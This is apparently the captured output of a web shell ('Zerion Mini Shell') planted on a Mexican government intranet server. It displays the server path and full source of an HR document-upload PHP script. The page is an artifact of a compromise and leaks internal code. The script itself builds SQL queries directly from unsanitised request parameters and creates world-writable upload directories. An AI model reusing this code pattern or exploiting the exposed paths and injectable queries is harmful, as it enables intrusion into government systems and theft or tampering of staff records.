%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/usuarios/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/usuarios/agregar_personal_documento_rh.php

<?php

session_start();
include "../../config/config.php";
$_SESSION['expire'] = time() + (120 * 60);

$id_personal             =   isset($_REQUEST['id_personal']) ? $_REQUEST['id_personal'] : 0;
$tipo             =   isset($_REQUEST['tipo']) ? $_REQUEST['tipo'] : 0;
$tituloP1            =    isset($_REQUEST['tituloP1']) ? $_REQUEST['tituloP1'] : 0;
$documentoP1            =    isset($_REQUEST['documentoP1']) ? $_REQUEST['documentoP1'] : 0;
$TipoP1            =    isset($_REQUEST['TipoP1']) ? $_REQUEST['TipoP1'] : 0;
$fecha_ini           =   isset($_REQUEST['fecha_ini']) ? $_REQUEST['fecha_ini'] : 0;
$fecha_fin           =   isset($_REQUEST['fecha_fin']) ? $_REQUEST['fecha_fin'] : 0;
$horas           =   isset($_REQUEST['horas']) ? $_REQUEST['horas'] : 0;
$modalidad           =   isset($_REQUEST['modalidad']) ? $_REQUEST['modalidad'] : 0;



//$id_usuario = $_SESSION['usuario_id'];
// Datos cliente

$conf = new Configuracion();
$conf->conectarBD();


// BETA DOCUMENTOS DINAMICO
// for ($i = 0; $i < count($tipoP); $i++) {
//     // $documentoP[$i];
// 	$sql4 = "INSERT INTO tjam_empleados_documentos (id_personal,id_tipo,url_pdf) 
//         VALUES ('$id_personal','$tipoP[$i]','No aplica');";
// 	$id_documento = $conf->ultimo_id($sql4);

// 	insertaImagen($id_apoyo,"url_documento",$conf);
// }



	$sql4 = "INSERT INTO tjam_empleados_documentos (id_personal,id_documento_tipo,url_pdf,titulo_doc,fecha_ini,fecha_fin,horas,modalidad) 
	VALUES ('$id_personal','$TipoP1','No aplica','$tituloP1','$fecha_ini','$fecha_fin','$horas','$modalidad');";
	$id_documento = $conf->ultimo_id($sql4);


	insertaImagenRH($id_documento,$id_personal,$conf);



$conf->desconectarDB();


    header("Location: page_expediente_rh.php?id_personal=$id_personal");




function insertaImagenRH($id_documento,$id_personal,$conf) {

    // $fileNames = array_filter($_FILES['documentoP1']['name']);
    // if (count($fileNames) > 0) {
        
        // foreach ($_FILES['documentoP1']['name'] as $key => $val) {
            
            $file_name = basename($_FILES['documentoP1']['name']);
            $extension = pathinfo($_FILES['documentoP1']['name'], PATHINFO_EXTENSION);
            $ext_formatos = array('png', 'gif', 'jpg', 'jpeg', 'pdf');
            $_FILES['documentoP1']["size"];

            if (!in_array(strtolower($extension), $ext_formatos))
                return;
            if ($_FILES['documentoP1']["size"] > 33000300800)
                return;
            $dia  = date("d");
            $mes  = date("m");
            $anio = date("Y");

            $targetDir = "../documentos/rh/$id_personal/";
            // $targetDir = "../documentos/rh/$anio/$mes/$dia/";
            @rmdir($targetDir);

            if (!file_exists($targetDir)) {
                @mkdir($targetDir, 0777, true);
            }
            $token = md5(uniqid(rand(), true));

            $file_name = $token . '.' . $extension;
            $add = $targetDir . $file_name;
            $db_url_img = "$id_personal/$file_name";
            // $db_url_img = "$anio/$mes/$dia/$file_name";


            if (move_uploaded_file($_FILES['documentoP1']["tmp_name"], $add)) {
                $insertar = "UPDATE tjam_empleados_documentos SET url_pdf = '$db_url_img' WHERE id_documento = $id_documento";
                $conf->actualizacion($insertar);
            }
        // }
    // }
}

?>

Zerion Mini Shell 1.0